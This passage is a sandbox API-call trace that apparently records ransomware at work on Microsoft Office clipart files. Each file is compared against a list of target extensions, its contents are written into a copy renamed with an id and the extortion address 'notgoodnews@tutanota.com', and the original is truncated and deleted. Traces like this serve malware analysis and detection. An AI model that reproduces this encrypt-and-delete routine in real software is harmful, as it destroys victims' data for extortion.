1 [0086.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.273] lstrlenW (lpString=".doc") returned 4 [0086.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString=".docx") returned 5 [0086.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.273] lstrlenW (lpString=".pdf") returned 4 [0086.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString=".xls") returned 4 [0086.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.273] lstrlenW (lpString=".xlsx") returned 5 [0086.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.273] lstrlenW (lpString=".ppt") returned 4 [0086.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.273] lstrlenW (lpString=".zip") returned 4 [0086.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.273] lstrlenW (lpString=".rar") returned 4 [0086.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString=".bz2") returned 4 [0086.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString=".7z") returned 3 [0086.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.273] lstrlenW (lpString=".dbf") returned 4 [0086.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.273] lstrlenW (lpString=".1cd") returned 4 [0086.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.273] lstrlenW (lpString=".jpg") returned 4 [0086.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.407] lstrlenW (lpString=".doc") returned 4 [0086.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString=".docx") returned 5 [0086.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.407] lstrlenW (lpString=".pdf") returned 4 [0086.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString=".xls") returned 4 [0086.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.407] lstrlenW (lpString=".xlsx") returned 5 [0086.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.407] lstrlenW (lpString=".ppt") returned 4 [0086.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.407] lstrlenW (lpString=".zip") returned 4 [0086.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.407] lstrlenW (lpString=".rar") returned 4 [0086.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString=".bz2") returned 4 [0086.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString=".7z") returned 3 [0086.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.407] lstrlenW (lpString=".dbf") returned 4 [0086.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.407] lstrlenW (lpString=".1cd") returned 4 [0086.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0086.408] lstrlenW (lpString=".jpg") returned 4 [0086.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.408] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.408] lstrlenW (lpString="FD00397_.WMF") returned 12 [0086.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.408] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=10816) returned 1 [0086.408] CloseHandle (hObject=0x2c4) returned 1 [0086.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0086.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.409] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.409] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.409] GetLastError () returned 0x0 [0086.409] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0086.411] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0086.416] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.416] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.416] SetEndOfFile (hFile=0x344) returned 1 [0086.416] CloseHandle (hObject=0x344) returned 1 [0086.416] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.416] SetEndOfFile (hFile=0x2c4) returned 1 [0086.417] CloseHandle (hObject=0x2c4) returned 1 [0086.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0086.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.417] lstrlenW (lpString=".doc") returned 4 [0086.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.417] lstrlenW (lpString=".docx") returned 5 [0086.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.417] lstrlenW (lpString=".pdf") returned 4 [0086.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString=".xls") returned 4 [0086.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.418] lstrlenW (lpString=".xlsx") returned 5 [0086.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.418] lstrlenW (lpString=".ppt") returned 4 [0086.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString=".zip") returned 4 [0086.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.418] lstrlenW (lpString=".rar") returned 4 [0086.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString=".bz2") returned 4 [0086.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString=".7z") returned 3 [0086.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString=".dbf") returned 4 [0086.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString=".1cd") returned 4 [0086.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString=".jpg") returned 4 [0086.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.418] lstrlenW (lpString=".doc") returned 4 [0086.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString=".docx") returned 5 [0086.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.418] lstrlenW (lpString=".pdf") returned 4 [0086.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.418] lstrlenW (lpString=".xls") returned 4 [0086.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.418] lstrlenW (lpString=".xlsx") returned 5 [0086.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.419] lstrlenW (lpString=".ppt") returned 4 [0086.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.419] lstrlenW (lpString=".zip") returned 4 [0086.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.419] lstrlenW (lpString=".rar") returned 4 [0086.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.419] lstrlenW (lpString=".bz2") returned 4 [0086.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.419] lstrlenW (lpString=".7z") returned 3 [0086.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.419] lstrlenW (lpString=".dbf") returned 4 [0086.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.419] lstrlenW (lpString=".1cd") returned 4 [0086.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0086.419] lstrlenW (lpString=".jpg") returned 4 [0086.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.419] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.419] lstrlenW (lpString="FD00403_.WMF") returned 12 [0086.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.420] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7878) returned 1 [0086.420] CloseHandle (hObject=0x2c4) returned 1 [0086.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0086.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.420] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.420] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.420] GetLastError () returned 0x0 [0086.420] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0086.422] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0086.423] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.423] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.423] SetEndOfFile (hFile=0x344) returned 1 [0086.423] CloseHandle (hObject=0x344) returned 1 [0086.423] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.423] SetEndOfFile (hFile=0x2c4) returned 1 [0086.424] CloseHandle (hObject=0x2c4) returned 1 [0086.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0086.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".doc") returned 4 [0086.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString=".docx") returned 5 [0086.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.425] lstrlenW (lpString=".pdf") returned 4 [0086.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString=".xls") returned 4 [0086.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.425] lstrlenW (lpString=".xlsx") returned 5 [0086.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.425] lstrlenW (lpString=".ppt") returned 4 [0086.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".zip") returned 4 [0086.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.425] lstrlenW (lpString=".rar") returned 4 [0086.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString=".bz2") returned 4 [0086.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString=".7z") returned 3 [0086.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".dbf") returned 4 [0086.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".1cd") returned 4 [0086.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".jpg") returned 4 [0086.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.425] lstrlenW (lpString=".doc") returned 4 [0086.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.425] lstrlenW (lpString=".docx") returned 5 [0086.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.426] lstrlenW (lpString=".pdf") returned 4 [0086.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString=".xls") returned 4 [0086.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.426] lstrlenW (lpString=".xlsx") returned 5 [0086.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.426] lstrlenW (lpString=".ppt") returned 4 [0086.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.426] lstrlenW (lpString=".zip") returned 4 [0086.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.426] lstrlenW (lpString=".rar") returned 4 [0086.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString=".bz2") returned 4 [0086.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString=".7z") returned 3 [0086.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.426] lstrlenW (lpString=".dbf") returned 4 [0086.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.426] lstrlenW (lpString=".1cd") returned 4 [0086.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0086.426] lstrlenW (lpString=".jpg") returned 4 [0086.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.426] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.426] lstrlenW (lpString="FD00414_.WMF") returned 12 [0086.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.427] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11002) returned 1 [0086.427] CloseHandle (hObject=0x2c4) returned 1 [0086.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0086.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.428] GetLastError () returned 0x0 [0086.428] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0086.430] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0086.431] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.431] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.431] SetEndOfFile (hFile=0x344) returned 1 [0086.431] CloseHandle (hObject=0x344) returned 1 [0086.431] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.431] SetEndOfFile (hFile=0x2c4) returned 1 [0086.432] CloseHandle (hObject=0x2c4) returned 1 [0086.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 